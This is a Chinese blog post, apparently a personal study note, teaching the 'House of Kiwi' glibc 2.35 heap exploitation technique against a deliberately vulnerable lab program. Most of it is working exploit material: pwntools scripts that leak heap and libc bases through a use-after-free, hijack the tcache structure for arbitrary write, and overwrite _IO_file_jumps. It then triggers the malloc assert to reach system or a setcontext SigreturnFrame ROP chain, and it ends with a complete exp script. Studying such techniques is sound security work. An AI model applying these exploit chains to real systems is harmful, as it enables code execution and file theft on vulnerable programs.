【我的PWN学习手札】HouseofKiwi
- 开源代码
- 2025-09-21 06:30:01

House of Kiwi
之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写,也就不能利用这种方法,比较玄学需要实际看一下。较高版本的glibc去除了__malloc_hook、__free_hook、exit hook;而如果程序调用中利用诸如write、__exit等函数直接触发系统调用,不走IO结构体调用流程,就难以使用IO的方法来劫持程序执行流程。之所以赋予House of Kiwi这个利用手法名,实际上是因为找到了一条“主动触发异常退出”来触发vtable上的相关函数来的实现攻击。
一、源码分析在malloc.c的sysmalloc函数中存在assert断言(当然,很多其他地方也用了assert宏)
这里检查了Top chunk的控制字段,不通过则触发异常
//malloc.c static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { ... assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ... }继续看一下assert宏,可以看到assert➡__assert_fail函数
# if defined __cplusplus # define assert(expr) \ (static_cast <bool> (expr) \ ? void (0) \ : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION)) # elif !defined __GNUC__ || defined __STRICT_ANSI__ # define assert(expr) \ ((expr) \ ? __ASSERT_VOID_CAST (0) \ : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION)) # else /* The first occurrence of EXPR is not evaluated due to the sizeof, but will trigger any pedantic warnings masked by the __extension__ for the second occurrence. The ternary operator is required to support function pointers and bit fields in this context, and to suppress the evaluation of variable length arrays. */ # define assert(expr) \ ((void) sizeof ((expr) ? 1 : 0), __extension__ ({ \ if (expr) \ ; /* empty */ \ else \ __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION); \ })) # endif继续跟进,可以看到实际上是调用__malloc_assert,其中fflush(stderr)则走了IO路线来输出(实际上__fxprintf也走了)。
#if IS_IN (libc) #ifndef NDEBUG # define __assert_fail(assertion, file, line, function) \ __malloc_assert(assertion, file, line, function) extern const char *__progname; static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort (); } #endif #endiffflush➡_IO_fflush
# define fflush(s) _IO_fflush (s)_IO_SYNC可以看到,_IO_fflush继续跳转到vtable指向_IO_file_jumps_表上的sync项
int _IO_fflush (FILE *fp) { if (fp == NULL) return _IO_flush_all (); else { int result; CHECK_FILE (fp, EOF); _IO_acquire_lock (fp); result = _IO_SYNC (fp) ? EOF : 0; _IO_release_lock (fp); return result; } } libc_hidden_def (_IO_fflush)因此,我们可以通过劫持全局_IO_file_jumps表,劫持sync指针,然后触发assert断言进入:
assert➡__assert_fail➡__malloc_assert➡fflush➡_IO_fflush➡_IO_SYNC调用链,从而劫持程序流。
二、劫持程序流示例pwn.c+glibc2.35
#include<stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> char *chunk_list[0x100]; #define puts(str) write(1, str, strlen(str)), write(1, "\n", 1) void menu() { puts("1. add chunk"); puts("2. delete chunk"); puts("3. edit chunk"); puts("4. show chunk"); puts("5. exit"); puts("choice:"); } int get_num() { char buf[0x10]; read(0, buf, sizeof(buf)); return atoi(buf); } void add_chunk() { puts("index:"); int index = get_num(); puts("size:"); int size = get_num(); chunk_list[index] = malloc(size); } void delete_chunk() { puts("index:"); int index = get_num(); free(chunk_list[index]); } void edit_chunk() { puts("index:"); int index = get_num(); puts("length:"); int length = get_num(); puts("content:"); read(0, chunk_list[index], length); } void show_chunk() { puts("index:"); int index = get_num(); puts(chunk_list[index]); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); while (1) { menu(); int choice = get_num(); switch (choice) { case 1: add_chunk(); break; case 2: delete_chunk(); break; case 3: edit_chunk(); break; case 4: show_chunk(); break; case 5: _exit(0); default: puts("invalid choice."); } } }大致过程如下:
泄露heap base劫持tcache_pthread_structarbitrary_write劫持全局数据区的_IO_file_jumps表写坏Top chunk然后malloc较大堆块触发assert断言进入调用链首先glibc-2.35的tcache->key,通过UAF泄露heap_base
add(0,0x100) add(1,0x100) add(2,0x100) delete(0) show(0) io.recvline() heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12 success("heap_base:"+hex(heap_base))让我们通过劫持tcache_pthread_struct来泄露libc并进一步获得arbitrary_write的能力,
delete(2) # pos = (heap_base + 0x5c8) # target = heap_base + 0x20 edit(2,p64((heap_base >>12) ^ (heap_base + 0x20))+p64(0)) add(2,0x100) add(10,0x100) edit(10,b'\x00'*14+p16(0x7)) delete(1) show(1) io.recvline() libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1f2ce0 success("libc_base: "+hex(libc.address)) def arbitrary_write(address,content): aligns = address & 0xf address = address & ~0xf edit(10,(b'\x00'*14+p16(0x7)).ljust(0xe8,b'\x00')+p64(address)) add(11,0x100) edit(11,b'\x00'*aligns+content)然后我们就可以通过任意地址写来修改全局表_IO_file_jumps了
''' 0xdb1f1 execve("/bin/sh", r13, r12) constraints: [r13] == NULL || r13 == NULL || r13 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xdb1f4 execve("/bin/sh", r13, rdx) constraints: [r13] == NULL || r13 == NULL || r13 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xdb1f7 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp ''' one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.address arbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(one_gadget)) edit(2,b'\x00'*0x110) gdb.attach(io,"b *{}\nc".format(hex(one_gadget))) add(20,0x300)确实被我们劫持到one_gadget,但是由于rsi、rdx都不为空,所以不能简单利用。不过我们有任意地址写的能力,由于fflush的参数是stderr所以我们可以在_IO_2_1_stderr头部写"/bin/sh\x00",同时flag位不会触发__fxprintf的链子,继续执行fflush:
''' 0xdb1f1 execve("/bin/sh", r13, r12) constraints: [r13] == NULL || r13 == NULL || r13 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xdb1f4 execve("/bin/sh", r13, rdx) constraints: [r13] == NULL || r13 == NULL || r13 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xdb1f7 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp ''' one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.address arbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(libc.sym['system'])) edit(2,b'\x00'*0x110) # gdb.attach(io,"b *{}\nc".format(hex(one_gadget))) arbitrary_write(libc.sym['_IO_2_1_stderr_'],b"/bin/sh\x00") gdb.attach(io,"b __malloc_assert\n") add(20,0x300) 三、配合setcontext-gadget实现ROPglibc2.35的setcontext是通过rdx寄存器来传递数值的
... 0x77d08a450c0d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0] 0x77d08a450c14 <setcontext+68> mov rbx, qword ptr [rdx + 0x80] 0x77d08a450c1b <setcontext+75> mov rbp, qword ptr [rdx + 0x78] 0x77d08a450c1f <setcontext+79> mov r12, qword ptr [rdx + 0x48] 0x77d08a450c23 <setcontext+83> mov r13, qword ptr [rdx + 0x50] 0x77d08a450c27 <setcontext+87> mov r14, qword ptr [rdx + 0x58] 0x77d08a450c2b <setcontext+91> mov r15, qword ptr [rdx + 0x60] 0x77d08a450c2f <setcontext+95> test dword ptr fs:[0x48], 2 0x77d08a450c3b <setcontext+107> je setcontext+294 <setcontext+294> ...我们关注到,在进行House of Kiwi时,调用fflush时执行跳转表函数SYNC的 rdx寄存器指向_IO_helper_jumps
────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────── 0x7e211da782fb <fflush+107> mov rcx, rbp RCX => 0x7e211dbf4580 (__GI__IO_file_jumps) ◂— 0 0x7e211da782fe <fflush+110> sub rcx, rdx RCX => 0xc00 (0x7e211dbf4580 - 0x7e211dbf3980) 0x7e211da78301 <fflush+113> cmp rax, rcx 0xd68 - 0xc00 EFLAGS => 0x202 [ cf pf af zf sf IF df of ] 0x7e211da78304 <fflush+116> jbe fflush+200 <fflush+200> 0x7e211da78306 <fflush+118> mov rdi, rbx RDI => 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887 ► 0x7e211da78309 <fflush+121> call qword ptr [rbp + 0x60] <__SI_IO_new_file_sync_7> rdi: 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887 rsi: 0x7ffc3c3bf7d0 ◂— 0x6c616d203a6e7770 ('pwn: mal') rdx: 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0 rcx: 0xc00 0x7e211da7830c <fflush+124> test eax, eax 0x7e211da7830e <fflush+126> setne al 0x7e211da78311 <fflush+129> movzx eax, al 0x7e211da78314 <fflush+132> neg eax 0x7e211da78316 <fflush+134> test dword ptr [rbx], 0x8000 ─────────────────────────────────────────────────────────────────[这也是一个全局跳转表,具有w权限,可以通过arbitray_write劫持
至于为什么是_IO_helper_jumps,其实指向的是__start___libc_IO_vtables,而_IO_helper_jumps是各个全局的跳转函数表的第一个表,数值也即__start___libc_IO_vtables:
pwndbg> p/x __start___libc_IO_vtables $3 = 0x7e211dbf3980 <_IO_helper_jumps> pwndbg> info reg rdx rdx 0x7e211dbf3980 138680698091904 pwndbg> tele 0x7e211dbf3980 00:0000│ rdx 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0 01:0008│-bf8 0x7e211dbf3988 (_IO_helper_jumps+8) ◂— 0 02:0010│-bf0 0x7e211dbf3990 (_IO_helper_jumps+16) —▸ 0x7e211da85a10 (_IO_default_finish) ◂— endbr64 03:0018│-be8 0x7e211dbf3998 (_IO_helper_jumps+24) —▸ 0x7e211da6c390 (_IO_helper_overflow) ◂— endbr64 04:0020│-be0 0x7e211dbf39a0 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64 05:0028│-bd8 0x7e211dbf39a8 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64 06:0030│-bd0 0x7e211dbf39b0 (_IO_helper_jumps+48) —▸ 0x7e211da86450 (_IO_default_pbackfail) ◂— endbr64 07:0038│-bc8 0x7e211dbf39b8 (_IO_helper_jumps+56) —▸ 0x7e211da853d0 (_IO_default_xsputn) ◂— endbr64 pwndbg> 08:0040│-bc0 0x7e211dbf39c0 (_IO_helper_jumps+64) —▸ 0x7e211da85550 (_IO_default_xsgetn) ◂— endbr64 09:0048│-bb8 0x7e211dbf39c8 (_IO_helper_jumps+72) —▸ 0x7e211da85a90 (_IO_default_seekoff) ◂— endbr64 0a:0050│-bb0 0x7e211dbf39d0 (_IO_helper_jumps+80) —▸ 0x7e211da85710 (_IO_default_seekpos) ◂— endbr64 0b:0058│-ba8 0x7e211dbf39d8 (_IO_helper_jumps+88) —▸ 0x7e211da85610 (_IO_default_setbuf) ◂— endbr64 0c:0060│-ba0 0x7e211dbf39e0 (_IO_helper_jumps+96) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64 0d:0068│-b98 0x7e211dbf39e8 (_IO_helper_jumps+104) —▸ 0x7e211da85780 (_IO_default_doallocate) ◂— endbr64 0e:0070│-b90 0x7e211dbf39f0 (_IO_helper_jumps+112) —▸ 0x7e211da865c0 (_IO_default_read) ◂— endbr64 0f:0078│-b88 0x7e211dbf39f8 (_IO_helper_jumps+120) —▸ 0x7e211da865d0 (_IO_default_write) ◂— endbr64 pwndbg> 10:0080│-b80 0x7e211dbf3a00 (_IO_helper_jumps+128) —▸ 0x7e211da865a0 (_IO_default_seek) ◂— endbr64 11:0088│-b78 0x7e211dbf3a08 (_IO_helper_jumps+136) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64 12:0090│-b70 0x7e211dbf3a10 (_IO_helper_jumps+144) —▸ 0x7e211da865b0 (_IO_default_stat) ◂— endbr64 13:0098│-b68 0x7e211dbf3a18 (_IO_helper_jumps+152) ◂— 0 ... ↓ 4 skipped pwndbg> 18:00c0│-b40 0x7e211dbf3a40 (_IO_helper_jumps) ◂— 0 19:00c8│-b38 0x7e211dbf3a48 (_IO_helper_jumps+8) ◂— 0 1a:00d0│-b30 0x7e211dbf3a50 (_IO_helper_jumps+16) —▸ 0x7e211da7c460 (_IO_wdefault_finish) ◂— endbr64 1b:00d8│-b28 0x7e211dbf3a58 (_IO_helper_jumps+24) —▸ 0x7e211da715d0 (_IO_helper_overflow) ◂— endbr64 1c:00e0│-b20 0x7e211dbf3a60 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64 1d:00e8│-b18 0x7e211dbf3a68 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64 1e:00f0│-b10 0x7e211dbf3a70 (_IO_helper_jumps+48) —▸ 0x7e211da7c2a0 (_IO_wdefault_pbackfail) ◂— endbr64 1f:00f8│-b08 0x7e211dbf3a78 (_IO_helper_jumps+56) —▸ 0x7e211da7c5e0 (_IO_wdefault_xsputn) ◂— endbr64值得注意的是,关注上述gdb调试数据,可以看到好像有两个_IO_helper_jumps表。无论是libc.sym['_IO_helper_jumps']还是gdb内通过p/x &_IO_helper_jumps,打印的都是第二张表的地址;不过fflush内call sync时的rdx指向是第一个表,需要格外注意。
因此我们可以:
利用任意地址写在_IO_helper_jumps上布置sigreturnFrame在堆上布置ROP链写坏Top chunk触发调用链 # ROP 放在2号堆块上 rop_start = heap_base + 0x4c0 buf_start = heap_base + 0x80 # flag 读到0号堆块上 flag_start = heap_base + 0x2a0 rop = b'' # read(3,flag_start,0x20) rop += p64(libc.search(asm("pop rdi;ret")).__next__()) rop += p64(3) rop += p64(libc.search(asm("pop rsi;ret")).__next__()) rop += p64(flag_start) rop += p64(libc.search(asm("pop rdx;ret")).__next__()) rop += p64(0x20) rop += p64(libc.sym['read']) # write(1,flag_start,0x20) rop += p64(libc.search(asm("pop rdi;ret")).__next__()) rop += p64(1) rop += p64(libc.search(asm("pop rsi;ret")).__next__()) rop += p64(flag_start) rop += p64(libc.search(asm("pop rdx;ret")).__next__()) rop += p64(0x20) rop += p64(libc.sym['write']) rop = rop.ljust(buf_start - rop_start, b'\x00') rop += b'./flag.txt\x00' rop = rop.ljust(0x110, b'\x00') frame = SigreturnFrame() # open("./flag.txt") frame.rdi = buf_start frame.rsi = 0 frame.rdx = 0 frame.rip = libc.sym['open'] frame.rsp = rop_start arbitrary_write(libc.sym["__start___libc_IO_vtables"],bytes(frame))然而
看起来我们修改的_IO_helper_jumps在fflush 之前的__fxprintf被使用。
具体我们看一下用到了哪一项,我们断点到__malloc_assert开始步过,最终定位到表偏移0x38的函数指针是会被调用的
因此我们的sigreturnFrame数据在该处保留合法指针即可
pwndbg> p __start___libc_IO_vtables $1 = 0x77bb9cbf3980 <_IO_helper_jumps> "" pwndbg> tele 0x77bb9cbf3980 00:0000│ 0x77bb9cbf3980 (_IO_helper_jumps) ◂— 0 01:0008│ 0x77bb9cbf3988 (_IO_helper_jumps+8) ◂— 0 02:0010│ 0x77bb9cbf3990 (_IO_helper_jumps+16) —▸ 0x77bb9ca85a10 (_IO_default_finish) ◂— endbr64 03:0018│ 0x77bb9cbf3998 (_IO_helper_jumps+24) —▸ 0x77bb9ca6c390 (_IO_helper_overflow) ◂— endbr64 04:0020│ 0x77bb9cbf39a0 (_IO_helper_jumps+32) —▸ 0x77bb9ca85360 (_IO_default_underflow) ◂— endbr64 05:0028│ 0x77bb9cbf39a8 (_IO_helper_jumps+40) —▸ 0x77bb9ca85370 (_IO_default_uflow) ◂— endbr64 06:0030│ 0x77bb9cbf39b0 (_IO_helper_jumps+48) —▸ 0x77bb9ca86450 (_IO_default_pbackfail) ◂— endbr64 07:0038│ 0x77bb9cbf39b8 (_IO_helper_jumps+56) —▸ 0x77bb9ca853d0 (_IO_default_xsputn) ◂— endbr64 pwndbg> libc libc : 0x77bb9ca00000 pwndbg> p/x 0x77bb9ca853d0-0x77bb9ca00000 $2 = 0x853d0 frame=bytearray(bytes(frame)) frame[0x38:0x40]=p64(libc.address+0x853d0)然后我们就可以正常到达fflush,并劫持到setcontext
然后可以看到setcontext退出时进入rop-chain
结果在ROP过程中发现找到的pop rdx;ret是不可执行数据;遂在所有的gadget的libc.search部分增添参数executable=True
rop += p64(libc.search(asm("pop rdx;ret"),executable=True).__next__())然而又找不到这样的gadget。所以用ropper或ROPgadget找具有同样功能虽然可能略荣誉的gadget:
0x0000000000107191 : pop rdx ; pop r12 ; ret最终可以实现:
ROP完整exp from pwn import * from pwnlib.abi import freebsd_arm elf = ELF("./pwn") libc = ELF("./libc.so.6") context.arch = elf.arch context.log_level = 'debug' context.os = elf.os def add(index, size): io.sendafter(b"choice:", b"1") io.sendafter(b"index:", str(index).encode()) io.sendafter(b"size:", str(size).encode()) def delete(index): io.sendafter(b"choice:", b"2") io.sendafter(b"index:", str(index).encode()) def edit(index, content): io.sendafter(b"choice:", b"3") io.sendafter(b"index:", str(index).encode()) io.sendafter(b"length:", str(len(content)).encode()) io.sendafter(b"content:", content) def show(index): io.sendafter(b"choice:", b"4") io.sendafter(b"index:", str(index).encode()) io = process("./pwn") add(0, 0x100) add(1, 0x100) add(2, 0x100) delete(0) show(0) io.recvline() heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12 success("heap_base:" + hex(heap_base)) delete(2) # pos = (heap_base + 0x5c8) # target = heap_base + 0x20 edit(2, p64((heap_base >> 12) ^ (heap_base + 0x20)) + p64(0)) add(2, 0x100) add(10, 0x100) edit(10, b'\x00' * 14 + p16(0x7)) delete(1) show(1) io.recvline() libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0 success("libc_base: " + hex(libc.address)) def arbitrary_write(address, content): aligns = address & 0xf address = address & ~0xf edit(10, (b'\x00' * 14 + p16(0x7)).ljust(0xe8, b'\x00') + p64(address)) add(11, 0x100) edit(11, b'\x00' * aligns + content) gdb.attach(io, 'b fflush\nc') # gdb.attach(io,'b __malloc_assert\nc') # ROP 放在2号堆块上 rop_start = heap_base + 0x4c0 buf_start = rop_start + 0x80 # flag 读到0号堆块上 flag_start = heap_base + 0x2a0 rop = b'' # read(3,flag_start,0x20) rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__()) rop += p64(3) rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__()) rop += p64(flag_start) rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__()) rop += p64(0x30) rop += p64(0) rop += p64(libc.sym['read']) # write(1,flag_start,0x20) rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__()) rop += p64(1) rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__()) rop += p64(flag_start) rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__()) rop += p64(0x30) rop += p64(0) rop += p64(libc.sym['write']) rop = rop.ljust(buf_start - rop_start, b'\x00') rop += b'./flag.txt\x00' rop = rop.ljust(0x110, b'\x00') frame = SigreturnFrame() # open("./flag.txt") frame.rdi = buf_start frame.rsi = 0 frame.rdx = 0 frame.rip = libc.sym['open'] frame.rsp = rop_start frame = bytearray(bytes(frame)) frame[0x38:0x40] = p64(libc.address + 0x853d0) arbitrary_write(libc.sym["__start___libc_IO_vtables"], bytes(frame)) arbitrary_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61)) edit(2, rop) add(30, 0x300) io.interactive()【我的PWN学习手札】HouseofKiwi由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【我的PWN学习手札】HouseofKiwi”
上一篇
#渗透测试#批量漏洞挖掘#(0day)某智能终端操作平台前台
下一篇
线程池的介绍